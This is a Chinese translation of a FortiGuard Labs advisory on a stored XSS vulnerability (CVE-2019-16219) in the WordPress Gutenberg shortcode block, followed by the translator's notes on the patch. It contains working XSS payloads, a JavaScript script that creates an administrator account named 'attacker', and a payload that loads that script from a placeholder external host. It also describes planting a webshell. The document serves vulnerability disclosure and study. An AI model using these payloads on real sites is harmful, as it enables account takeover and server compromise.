最近,笔者在研究一些与WordPress漏洞相关内容。Sucuri、RIPS、Fortinet等安全公司对WordPress有着一系列的深入研究,因此笔者计划陆续将一些有意思文章翻译出来,与大家共同学习下,祝君多挖漏洞。

这篇文章是来自FortiGuard Labs,本文介绍了存在于wordpress5.0版本中的xss漏洞。经我个人验证,从wordpress5.0版本起,由于强制使用古腾堡(Gutenberg)编辑器,内部存在不少xss漏洞,而本文中的漏洞,一直存在至5.0.5版本,而非文中所说的5.0.4。

下面翻译稿正文开始

前言

WordPress 是世界上最受欢迎的内容管理系统 (CMS),它的全球CMS市场份额已达60.4%,远远高于排名第二的Joomla!(后者仅有5.2%市场份额)。因此,互联网上超过三分之一的网站是使用WordPress搭建的。

近日,FortiGuard Labs团队在 WordPress 中发现了一个存储型跨站点脚本 (XSS)0day漏洞。此 XSS 漏洞是由 WordPress 5.0 中的新内置编辑器 Gutenberg 引起的,编辑器无法过滤Shortcode错误消息中的 JavaScript/HTML 代码。一旦受害者访问受感染网页,具有投稿者(Contributor)或更高权限的远程攻击者就可以在其浏览器中执行任意 JavaScript/HTML 代码。倘若受害者具有较高权限(如:管理员),攻击者甚至可以攻陷整个 Web 服务器。

此存储型XSS漏洞(CVE-2019-16219)影响WordPress 5.0到5.0.4,5.1和5.1.1版本。

解析

在WordPress 5.0中,用户可以将Shortcode块添加到帖子中。若将某些特定的HTML编码字符(如“&lt;”)添加到短代码块中,重新打开该帖时,WordPress就会显示错误消息,并将“&lt;”解码为“<”来进行预览。

图1.注入HTML编码字符Shortcode块

图2.Shortcode错误消息预览

使用PoC代码

1
"&gt;&lt;img src=1 onerror=alert("熊本熊本熊")&gt;

可以轻松绕过此预览中的XSS过滤器。

图3.将PoC代码插入Shortcode块

当受害者查看该帖时,XSS代码将在其浏览器中执行。

图4. WordPress短代码预览XSS

如果受害者恰好拥有管理员权限,攻击者即可以利用此漏洞获取管理员帐户的控制权,利用WordPress内置函数 getShell,然后控制服务器。

例如,攻击者可以在其Web服务器上托管JavaScript文件,例如[wpaddadmin 。] js(在链接中描述)。此JavaScript代码将添加一个WordPress管理员帐户,其用户名为“attacker”,密码为“attacker”。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' value  
var ajaxRequest = new XMLHttpRequest();
var requestURL = "/wordpress/wp-admin/user-new.php";
var nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, false);
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];

// Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator
var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, true);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(params);

然后,攻击者可以在JavaScript中注入以下PoC代码。

1
"&gt;&lt;img src=1 onerror="javascript&colon;(function () { var url = 'http://aaa.bbb.ccc.ddd/ wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();"&gt;

图5.注入XSS代码以添加管理员帐户

一旦具有高权限的受害者查看此帖,就会立即创建attacker管理员帐户。

图6.执行XSS代码

图7.使用XSS代码,成功创建具有管理员权限的“attacker”帐户

随之,攻击者可以将现有的php文件修改为webshell,并借此来控制Web服务器。

图8.使用攻击者的帐户添加webshell

图9.控制Web服务器

解决方案

建议使用受影响版本的WordPress用户,尽快升级到最新版本或立即应用最新的补丁。

翻译正文到此结束

写在翻译稿后面

我跟踪了下wordpress的修复

本次都修复位于wp-includes\js\dist\block-library.js中

由于原先shortcode的attributes 属性中source值为’text’,前端页面在解析shortcode中的<值时,会将其解析为<,从而造成闭合,如下图

修复后shortcode的attributes 属性中source值为html,前端脚本不再解析<

原文链接:https://www.fortinet.com/blog/threat-research/wordpress-core-stored-xss-vulnerability.html